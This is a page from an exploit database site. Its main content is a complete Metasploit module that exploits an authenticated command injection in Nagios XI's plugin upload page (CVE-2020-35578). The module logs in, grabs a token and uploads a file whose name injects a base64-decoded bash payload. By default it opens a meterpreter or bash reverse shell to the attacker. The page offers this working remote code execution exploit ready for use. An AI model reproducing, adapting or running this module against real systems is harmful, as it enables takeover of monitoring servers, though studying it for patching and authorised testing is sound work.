0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Nagios XI Remote Code Execution Exploit
Author
Risk
[
Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::NagiosXi include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Nagios XI Prior to 5.8.0 - Plugins Filename Authenticated Remote Code Exection', 'Description' => %q{ This module exploits a command injection vulnerability (CVE-2020-35578) in the `/admin/monitoringplugins.php` page of Nagios XI versions prior to 5.8.0 when uploading plugins. Successful exploitation allows an authenticated admin user to achieve remote code execution as the `apache` user by uploading a malicious plugin. Valid credentials for a Nagios XI admin user are required. This module has been successfully tested against Nagios versions XI 5.3.0 and 5.7.5, both running on CentOS 7. }, 'License' => MSF_LICENSE, 'Author' => [ 'Haboob Team', # https://haboob.sa - PoC 'Erik Wynter' # @wyntererik - Metasploit' ], 'References' => [ ['CVE', '2020-35578'], ['EDB', '49422'] ], 'Platform' => %w[linux unix], 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD], 'Targets' => [ [ 'Linux (x86/x64)', { 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'linux', # only the wget and perhaps the curl CmdStagers work against a typical Nagios XI host (CentOS 7 minimal) if Nagios XI was installed according to the documentation 'CmdStagerFlavor' => :wget, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ], [ 'CMD', { 'Arch' => [ARCH_CMD], 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ] ], 'Privileged' => false, 'DisclosureDate' => '2020-12-19', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [FIRST_ATTEMPT_FAIL] # payload may not connect back the first time } ) ) register_options [ OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', nil]) ] end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def finish_install datastore['FINISH_INSTALL'] end def check # Use nagios_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns # an array containing the http response body of a get request to index.php and the session cookies login_result, res_array = nagios_xi_login(username, password, finish_install) case login_result when 1..3 # An error occurred return CheckCode::Unknown(res_array[0]) when 4 # Nagios XI is not fully installed install_result = install_nagios_xi(password) if install_result return CheckCode::Unknown(install_result[1]) end login_result, res_array = login_after_install_or_license(username, password, finish_install) case login_result when 1..3 # An error occurred return CheckCode::Unknown(res_array[0]) when 4 # Nagios XI is still not fully installed return CheckCode::Detected('Failed to install Nagios XI on the target.') end end # when 5 is excluded from the case statement above to prevent having to use this code block twice. # Including when 5 would require using this code block once at the end of the `when 4` code block above, and once here. if login_result == 5 # the Nagios XI license agreement has not been signed auth_cookies, nsp = res_array sign_license_result = sign_license_agreement(auth_cookies, nsp) if sign_license_result return CheckCode::Unknown(sign_license_result[1]) end login_result, res_array = login_after_install_or_license(username, password, finish_install) case login_result when 1..3 return CheckCode::Unknown(res_array[0]) when 5 # the Nagios XI license agreement still has not been signed return CheckCode::Detected('Failed to sign the license agreement.') end end print_good('Successfully authenticated to Nagios XI') # Obtain the Nagios XI version @auth_cookies = res_array[1] # if we are here, this cannot be nil since the mixin checks for that already nagios_version = nagios_xi_version(res_array[0]) if nagios_version.nil? return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard') end print_status("Target is Nagios XI with version #{nagios_version}") # check if the target is actually vulnerable if /^\d{4}R\d\.\d/.match(nagios_version) || /^\d{4}RC\d/.match(nagios_version) || /^\d{4}R\d.\d[A-Ha-h]/.match(nagios_version) || nagios_version == '5R1.0' nagios_version = '1.0.0' # Set to really old version as a placeholder. Basically we don't want to exploit these versions. end @version = Rex::Version.new(nagios_version) if @version < Rex::Version.new('5.8.0') return CheckCode::Appears end return CheckCode::Safe end def execute_command(cmd, _opts = {}) # Convert the payload to hex ASCII and then Base64 encode the payload. # This is necessary for the exploit to work. payload_ascii = Rex::Text.to_hex_ascii(cmd) payload_base64 = Rex::Text.encode_base64(payload_ascii) payload = ";echo #{payload_base64} | base64 -d | bash;#" register_file_for_cleanup("/usr/local/nagios/libexec/#{payload}") # deleting the payload via the web interface doesn't seem possible # generate post data post_data = Rex::MIME::Message.new random_post_content = rand_text_alphanumeric(8..12) post_data.add_part('', nil, nil, 'form-data; name="upload"') post_data.add_part(@nsp, nil, nil, 'form-data; name="nsp"') post_data.add_part(random_post_content, 'text/plain', nil, "form-data; name=\"uploadedfile\"; filename=\"#{payload}\"") post_data.add_part('1', nil, nil, 'form-data; name="convert_to_unix"') # upload payload send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php'), 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => @auth_cookies, 'data' => post_data.to_s }, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload end def exploit if @version < Rex::Version.new('5.3.0') fail_with(Failure::NoTarget, 'Target is vulnerable but this module currently does not support exploiting target prior to 5.3.0!') end # visit /admin/monitoringplugins.php in order to get the nsp token required to upload the payload res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php'), 'cookie' => @auth_cookies }) unless res fail_with(Failure::Disconnected, "Connection failed while trying to visit `#{normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php')}`") end unless res.code == 200 && res.body.include?('<title>Manage Plugins · Nagios XI</title>') fail_with(Failure::UnexpectedReply, "Unexpected response received while trying to visit `#{normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php')}`") end # grab the nsp token, using the Nagios XI mixin @nsp = get_nsp(res) if @nsp.blank? fail_with(Failure::Unknown, 'Failed to obtain the nsp token required to upload the payload') end if target.arch.first == ARCH_CMD print_status('Executing the payload') execute_command(payload.encoded) else execute_cmdstager(background: true) end end end # 0day.today [2024-06-02] #